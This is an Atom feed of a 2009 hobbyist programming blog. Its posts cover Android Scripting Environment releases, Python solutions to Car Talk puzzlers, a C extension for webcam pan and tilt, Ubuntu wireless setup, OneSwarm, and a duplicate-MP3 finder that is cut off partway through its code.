<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CEAASHwzfCp7ImA9WxJUEE0.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766</id><updated>2009-07-07T23:39:09.284+02:00</updated><title>damonkohler</title><subtitle type="html">Exploits in programming, electronics, photography, and tinkering.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.damonkohler.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.damonkohler.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>136</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/damonkohler" type="application/atom+xml" /><entry gd:etag="W/&quot;CEAASHo_fCp7ImA9WxJUEE0.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-3200434898697213125</id><published>2009-07-07T23:29:00.003+02:00</published><updated>2009-07-07T23:39:09.444+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-07T23:39:09.444+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="ase" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>ASE 0.9 Alpha Released</title><content type="html">Interpreters installation is now handled entirely within ASE (no more downloading in the browser). Besides streamlining the interpreter installation process, this release is mostly about bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Changing orientation in the terminal no longer restarts the running script.&lt;/li&gt;&lt;li&gt;Terminal preferences are now applied properly.&lt;/li&gt;&lt;li&gt;Added aTrackDog support to the manifest.&lt;/li&gt;&lt;li&gt;Saving scripts now works as expected without workarounds.&lt;/li&gt;&lt;/ul&gt;Visit the &lt;a href="http://code.google.com/p/android-scripting"&gt;ASE project page&lt;/a&gt; to download the new APK.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-3200434898697213125?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/IkErsk9u258" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/3200434898697213125/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=3200434898697213125" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/3200434898697213125?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/3200434898697213125?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/IkErsk9u258/ase-09-alpha-released.html" title="ASE 0.9 Alpha Released" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/07/ase-09-alpha-released.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkAFRHoyfip7ImA9WxJWFEw.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-6468074856730264039</id><published>2009-06-19T09:26:00.006+02:00</published><updated>2009-06-19T15:38:35.496+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-19T15:38:35.496+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="ase" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>ASE 0.8 Alpha Released</title><content type="html">I just finished releasing version 0.8 alpha. The most significant changes in this release are:&lt;ul&gt;&lt;li&gt;À la carte interpreter installation. which drops the installation size from 4.3MB to 900kB. With all interpreters installed, ASE now takes 7.9MB.&lt;/li&gt;&lt;li&gt;User scripts are now stored on the SD card and persisted across reinstallations of ASE. This should also make it easier to copy scripts to the device from a host computer or the web.&lt;/li&gt;&lt;/ul&gt;Visit the &lt;a href="http://code.google.com/p/android-scripting"&gt;ASE project page&lt;/a&gt; to download the new APK. To install interpreters, click Menu, Help, then follow the directions under the InstallingInterpreters wiki page.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-6468074856730264039?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/pxVJEUdAeG0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/6468074856730264039/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=6468074856730264039" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6468074856730264039?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6468074856730264039?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/pxVJEUdAeG0/ase-08-alpha-released.html" title="ASE 0.8 Alpha Released" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/06/ase-08-alpha-released.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMCQnwycSp7ImA9WxJXF08.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-6897448413446554091</id><published>2009-06-11T13:53:00.003+02:00</published><updated>2009-06-11T14:14:23.299+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-11T14:14:23.299+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="puzzles" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="npr" /><category scheme="http://www.blogger.com/atom/ns#" term="car talk" /><title>Solving Car Talk Puzzlers with Python</title><content type="html">If you're not familiar with &lt;a href="http://en.wikipedia.org/wiki/Car_Talk"&gt;Car Talk&lt;/a&gt;, it's a horrible talk radio show hosted by Tom and Ray Magliozzi (aka Click and Clack the Tappet brothers). Every week there is a new puzzler and every so often it's math oriented. After hearing this week's mathy puzzler, I thought it would be fun to dig into the archives (&lt;a href="http://www.cartalk.com/content/puzzler/2009.html"&gt;2009&lt;/a&gt; and &lt;a href="http://www.cartalk.com/content/puzzler/2008.html"&gt;2008&lt;/a&gt;) and try solving a few of them in Python. Here's what I came up with:&lt;pre class="prettyprint"&gt;# 2008-10-20 The Perfect Square Dance!&lt;br /&gt;import itertools, math&lt;br /&gt;&lt;br /&gt;for numbers in itertools.permutations(range(1, 19)):&lt;br /&gt;  for a, b in zip(numbers[::2], numbers[1::2]):&lt;br /&gt;    sqrt = math.sqrt(a + b)&lt;br /&gt;    if not str(sqrt).endswith('.0'):&lt;br /&gt;      break&lt;br /&gt;    if a == 1:&lt;br /&gt;      sallys_partner = b&lt;br /&gt;    elif b == 1:&lt;br /&gt;      sallys_partner = a&lt;br /&gt;  else:&lt;br /&gt;    print 'Sally danced with %d' % sallys_partner&lt;br /&gt;    break&lt;br /&gt;&lt;br /&gt;# 2008-10-27 One is the Magic Number&lt;br /&gt;print ''.join(str(n) for n in xrange(0, 1000000)).count('1')&lt;br /&gt;&lt;br /&gt;# 2008-12-08 It's Math Time!&lt;br /&gt;for ab in xrange(10, 100):&lt;br /&gt;  cab = ab ** 2&lt;br /&gt;  if str(cab)[1:] == str(ab):&lt;br /&gt;    print cab&lt;br /&gt;    break&lt;br /&gt;&lt;br /&gt;# 2009-05-26 Equate This!&lt;br /&gt;from __future__ import division  # Avoids truncation.&lt;br /&gt;import random&lt;br /&gt;&lt;br /&gt;numbers = [2, 3, 4, 5]&lt;br /&gt;operations = ['*', '**', '+', '-', '/']&lt;br /&gt;&lt;br /&gt;while True:&lt;br /&gt;  random.shuffle(numbers)&lt;br /&gt;  random.shuffle(operations)&lt;br /&gt;  equation = ''&lt;br /&gt;  for i, number in enumerate(numbers):&lt;br /&gt;    equation += str(number)&lt;br /&gt;    if i &lt; len(numbers) - 1:&lt;br /&gt;      equation += operations[i]&lt;br /&gt;  result = eval(equation)&lt;br /&gt;  if result == 26:&lt;br /&gt;    print equation&lt;br /&gt;    break&lt;br /&gt;&lt;br /&gt;# 2009-06-08 Number One&lt;br /&gt;print len([n for n in xrange(0, 1000000) if '1' not in str(n)])&lt;/pre&gt;I'd like to see someone good with Ruby, Perl, or Lua do the same so we can compare solutions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-6897448413446554091?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/ym7DHmP1uTo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/6897448413446554091/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=6897448413446554091" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6897448413446554091?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6897448413446554091?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/ym7DHmP1uTo/solving-car-talk-puzzlers-with-python.html" title="Solving Car Talk Puzzlers with Python" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/06/solving-car-talk-puzzlers-with-python.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYCQ3g-fip7ImA9WxJXFkg.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-6190796244644960240</id><published>2009-06-09T06:00:00.008+02:00</published><updated>2009-06-10T18:09:22.656+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-10T18:09:22.656+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="ase" /><category scheme="http://www.blogger.com/atom/ns#" term="lua" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>Scripting on Android</title><content type="html">Today I released a project I've been working on for some time. You may remember a couple earlier posts where I got &lt;a href="http://www.damonkohler.com/2008/12/python-on-android.html"&gt;Python&lt;/a&gt; and &lt;a href="http://www.damonkohler.com/2008/12/lua-on-android.html"&gt;Lua&lt;/a&gt; working on Android. I've wrapped up those hacks into a nice Android application called &lt;a href="http://code.google.com/p/android-scripting"&gt;Android Scripting Environment&lt;/a&gt; (ASE).&lt;br /&gt;&lt;br /&gt;But wait, there's more! See the &lt;a href="http://google-opensource.blogspot.com/2009/06/introducing-android-scripting.html"&gt;official blog post&lt;/a&gt; on the Google Open Source Blog and the &lt;a href="http://code.google.com/p/android-scripting"&gt;project page&lt;/a&gt; for details. Further updates will be publish here with the "ase" tag.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-6190796244644960240?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/irQQCVInv-I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/6190796244644960240/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=6190796244644960240" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6190796244644960240?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6190796244644960240?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/irQQCVInv-I/scripting-on-android.html" title="Scripting on Android" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/06/scripting-on-android.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8NRXw9fyp7ImA9WxJSGUk.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-3813824023346368130</id><published>2009-05-10T10:19:00.010+02:00</published><updated>2009-05-10T11:48:14.267+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-10T11:48:14.267+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="webcam" /><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="uvc" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Logitech Pan/Tilt Python C Extension</title><content type="html">I just started learning C++ in earnest about a month ago. This weekend I felt like I knew enough to start looking at Python C extensions, so I wrote one to control the pan and tilt functions of my &lt;a href="http://www.logitech.com/index.cfm/webcam_communications/webcams/devices/3480&amp;amp;cl=US,EN"&gt;Logitech Orbit&lt;/a&gt;. I used this camera previously for my &lt;a href="http://www.google.com/search?q=olpc+telepresence"&gt;OLPC telepresence&lt;/a&gt; project.&lt;br /&gt;&lt;br /&gt;There's already a similar module out there, called &lt;a href="http://code.google.com/p/lpantilt/"&gt;lpantilt&lt;/a&gt;, that does this using &lt;a href="http://www.cython.org/"&gt;Cython&lt;/a&gt;. But, I wanted to take a crack at it myself and do it with straight C.&lt;pre class="prettyprint"&gt;#include &amp;lt;Python.h&amp;gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include "linux/videodev2.h"&lt;br /&gt;#include "uvcvideo.h"&lt;br /&gt;&lt;br /&gt;static int pantilt(int pan, int tilt, int reset) {&lt;br /&gt; struct v4l2_ext_control xctrls[2];&lt;br /&gt; struct v4l2_ext_controls ctrls;&lt;br /&gt;&lt;br /&gt; if (reset) {&lt;br /&gt;   xctrls[0].id = V4L2_CID_PAN_RESET;&lt;br /&gt;   xctrls[0].value = 1;&lt;br /&gt;   xctrls[1].id = V4L2_CID_TILT_RESET;&lt;br /&gt;   xctrls[1].value = 1;&lt;br /&gt; } else {&lt;br /&gt;   xctrls[0].id = V4L2_CID_PAN_RELATIVE;&lt;br /&gt;   xctrls[0].value = pan;&lt;br /&gt;   xctrls[1].id = V4L2_CID_TILT_RELATIVE;&lt;br /&gt;   xctrls[1].value = tilt;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; ctrls.count = 2;&lt;br /&gt; ctrls.controls = xctrls;&lt;br /&gt;&lt;br /&gt; int fd;&lt;br /&gt; if (-1 == (fd = open("/dev/video0", O_RDWR))) {&lt;br /&gt;   PyErr_SetString(PyExc_IOError, "Couldn't open /dev/video0.");&lt;br /&gt;   return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (-1 == ioctl(fd, VIDIOC_S_EXT_CTRLS, &amp;amp;ctrls)) {&lt;br /&gt;   PyErr_SetString(PyExc_IOError, "ioctl failed.");&lt;br /&gt;   return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (-1 == close(fd)) {&lt;br /&gt;   PyErr_SetString(PyExc_IOError, "Failed to close /dev/video0.");&lt;br /&gt;   return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static PyObject* pantilt_reset(PyObject* self, PyObject* args) {&lt;br /&gt; if (!PyArg_ParseTuple(args, "")) {&lt;br /&gt;   return NULL;&lt;br /&gt; }&lt;br /&gt; if (!pantilt(0, 0, 1)) {&lt;br /&gt;   return NULL;&lt;br /&gt; }&lt;br /&gt; Py_RETURN_NONE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static PyObject* pantilt_pantilt(PyObject* self, PyObject* args) {&lt;br /&gt; int pan;&lt;br /&gt; int tilt;&lt;br /&gt; if (!PyArg_ParseTuple(args, "ii", &amp;amp;pan, &amp;amp;tilt)) {&lt;br /&gt;   return NULL;&lt;br /&gt; }&lt;br /&gt; if (!pantilt(pan * 64, tilt * 64, 0)) {&lt;br /&gt;   return NULL;&lt;br /&gt; }&lt;br /&gt; Py_RETURN_NONE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static PyMethodDef PantiltMethods[] = {&lt;br /&gt; {"pantilt", pantilt_pantilt, METH_VARARGS, "Set relative pan and tilt of the camera."},&lt;br /&gt; {"reset", pantilt_reset, METH_VARARGS, "Reset the pan and tilt of the camera."},&lt;br /&gt; {NULL, NULL, 0, NULL}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;PyMODINIT_FUNC initpantilt(void) {&lt;br /&gt; (void) Py_InitModule("pantilt", PantiltMethods);&lt;br /&gt;}&lt;/pre&gt;And here is the associated &lt;code&gt;setup.py&lt;/code&gt; script to build it:&lt;pre class="prettyprint"&gt;from distutils.core import Extension&lt;br /&gt;from distutils.core import setup&lt;br /&gt;&lt;br /&gt;m = Extension('pantilt', sources=['pantilt.c'])&lt;br /&gt;&lt;br /&gt;setup(name='pantilt',&lt;br /&gt; version='1.0',&lt;br /&gt; description='Control pan and tilt of supported webcams.',&lt;br /&gt; ext_modules=[m])&lt;/pre&gt;To get this to build and run on Ubuntu, I had to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download and install &lt;a href="http://www.quickcamteam.net/software/libwebcam"&gt;libwebcam&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Execute &lt;code&gt;uvcdynctrl -i logitech.xml&lt;/code&gt; (&lt;code&gt;logitech.xml&lt;/code&gt; can be found in the source for libwebcam).&lt;/li&gt;&lt;li&gt;Install the &lt;code&gt;linux-source-*&lt;/code&gt; package and extract the &lt;code&gt;/usr/src/linux-source*.tar.bz2&lt;/code&gt; to disk.&lt;/li&gt;&lt;li&gt;Copy &lt;code&gt;uvcvideo.h&lt;/code&gt; in to the same directory as &lt;code&gt;pantilt.c&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Execute &lt;code&gt;python setup.py install&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;Finally, here's a sample usage of the pantilt module:&lt;pre class="prettyprint"&gt;import pantilt, time&lt;br /&gt;&lt;br /&gt;pantilt.reset()  # Reset the pan and tilt to the origin.&lt;br /&gt;time.sleep(1)&lt;br /&gt;pantilt.pantilt(10, 0)  # Increase relative pan by 10 degrees.&lt;br /&gt;pantilt.pantilt(0, 10)  # Increase relative tilt by 10 degrees.&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-3813824023346368130?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/TQ6ryukv-rg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/3813824023346368130/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=3813824023346368130" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/3813824023346368130?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/3813824023346368130?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/TQ6ryukv-rg/logitech-pantilt-python-c-extension.html" title="Logitech Pan/Tilt Python C Extension" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/05/logitech-pantilt-python-c-extension.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMERXc-eip7ImA9WxJSGUU.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-1135519217810047315</id><published>2009-04-27T20:55:00.005+02:00</published><updated>2009-05-10T21:06:44.952+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-10T21:06:44.952+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Ubuntu Jaunty Wireless and RT61PCI</title><content type="html">I upgraded to Jaunty yesterday and again had to struggle with my wireless. This time, it wasn't necessary to install a new kernel module. Instead, I just needed to remove Network Manager and set up &lt;a href="http://en.wikipedia.org/wiki/Wpa_supplicant"&gt;wpa_supplicant&lt;/a&gt;. Here's my new &lt;code&gt;/etc/network/interfaces&lt;/code&gt; that I configured for my WPA2 PSK AES TLA network.&lt;pre class="prettyprint"&gt;auto wlan0&lt;br /&gt;iface wlan0 inet dhcp&lt;br /&gt;wpa-driver wext&lt;br /&gt;wpa-conf managed&lt;br /&gt;wpa-ssid myssid&lt;br /&gt;wpa-ap-scan 1&lt;br /&gt;wpa-proto RSN&lt;br /&gt;wpa-pairwise CCMP&lt;br /&gt;wpa-group CCMP&lt;br /&gt;wpa-key-mgmt WPA-PSK&lt;br /&gt;wpa-psk mypsk&lt;br /&gt;&lt;/pre&gt;With that, all I needed to do was &lt;code&gt;sudo /etc/init.d/networking restart&lt;/code&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-1135519217810047315?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/oRgnha1xd-4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/1135519217810047315/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=1135519217810047315" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/1135519217810047315?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/1135519217810047315?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/oRgnha1xd-4/ubuntu-jaunty-wireless-and-rt61pci.html" title="Ubuntu Jaunty Wireless and RT61PCI" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/04/ubuntu-jaunty-wireless-and-rt61pci.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0AESHs8fyp7ImA9WxJTFk0.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-8619881643708543472</id><published>2009-04-24T23:32:00.002+02:00</published><updated>2009-04-24T23:48:29.577+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-24T23:48:29.577+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="java" /><category scheme="http://www.blogger.com/atom/ns#" term="anonymous" /><category scheme="http://www.blogger.com/atom/ns#" term="peertopeer" /><category scheme="http://www.blogger.com/atom/ns#" term="friendtofriend" /><category scheme="http://www.blogger.com/atom/ns#" term="darknet" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>OneSwarm is what I've been waiting for!</title><content type="html">&lt;a href="http://oneswarm.cs.washington.edu/index.html"&gt;OneSwarm&lt;/a&gt; is a &lt;a href="http://en.wikipedia.org/wiki/Friend-to-friend"&gt;friend-to-friend&lt;/a&gt; (F2F) file sharing network built on BitTorrent and SSL. This is an idea I've been tossing around for awhile and now, I'm happy to say, I don't have to write it myself. Here are the main selling points:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Open source. Hooray!&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Cross platform. OneSwarm is written in Java and they have binaries for OS X, Windows, and Linux.&lt;/li&gt;&lt;li&gt;Friend-to-friend. I'm not interested in sharing with the world, just amongst my friends.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;BitTorrent based transfers. That means swarming for common files shared among your friends. My previous F2F client &lt;a href="http://en.wikipedia.org/wiki/WASTE"&gt;WASTE&lt;/a&gt; doesn't offer that.&lt;/li&gt;&lt;li&gt;Point to point SSL encryption. I feel much better about SSL than the encryption scheme used by WASTE.&lt;/li&gt;&lt;li&gt;Google Talk integration. OneSwarm piggybacks key distribution over GTalk. That really makes life easy.&lt;/li&gt;&lt;li&gt;Web interface. It lends itself to remote administration.&lt;/li&gt;&lt;/ul&gt;I've only just started using it, so I'll post again with my experiences later.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-8619881643708543472?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/yYwlLNwi9qg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/8619881643708543472/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=8619881643708543472" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/8619881643708543472?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/8619881643708543472?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/yYwlLNwi9qg/oneswarm-is-what-ive-been-waiting-for.html" title="OneSwarm is what I've been waiting for!" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/04/oneswarm-is-what-ive-been-waiting-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8AQHc5fip7ImA9WxVVEE8.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-5893152898426981826</id><published>2009-03-02T08:47:00.008+01:00</published><updated>2009-03-02T21:47:21.926+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-02T21:47:21.926+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="music" /><title>Finding Duplicate MP3s Using Locality Sensitive Hashing</title><content type="html">I have a rather large collection of music that I've built up over the years. Properly organizing it and finding duplicates is time consuming. Over the weekend, I spent some time working on scripts to find duplicates. My first iteration is below. It's basically just an implementation of &lt;a href="http://premium.caribe.net/%7Eadrian2/fdupes.html"&gt;fdupes &lt;/a&gt;(&lt;code&gt;apt-get install fdupes&lt;/code&gt;) that ignores the ID3 header in MP3 files. It uses &lt;a href="http://code.google.com/p/quodlibet/wiki/Mutagen"&gt;Mutagen&lt;/a&gt; to handle the ID3 stuff.&lt;pre class="prettyprint"&gt;import hashlib&lt;br /&gt;import os&lt;br /&gt;import sys&lt;br /&gt;&lt;br /&gt;import mutagen&lt;br /&gt;from mutagen.id3 import ID3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def get_mp3_digest(path):&lt;br /&gt;  id3_size = ID3(path).size&lt;br /&gt;  fp = open(path)&lt;br /&gt;  fp.seek(id3_size)  # Igore the ID3 header.&lt;br /&gt;  digest = hashlib.md5(fp.read()).hexdigest()&lt;br /&gt;  fp.close()&lt;br /&gt;  return digest&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mp3s = {}&lt;br /&gt;top = sys.argv[1]&lt;br /&gt;&lt;br /&gt;for root, dirs, files in os.walk(top):&lt;br /&gt;  for f in files:&lt;br /&gt;    if f.endswith('.mp3'):&lt;br 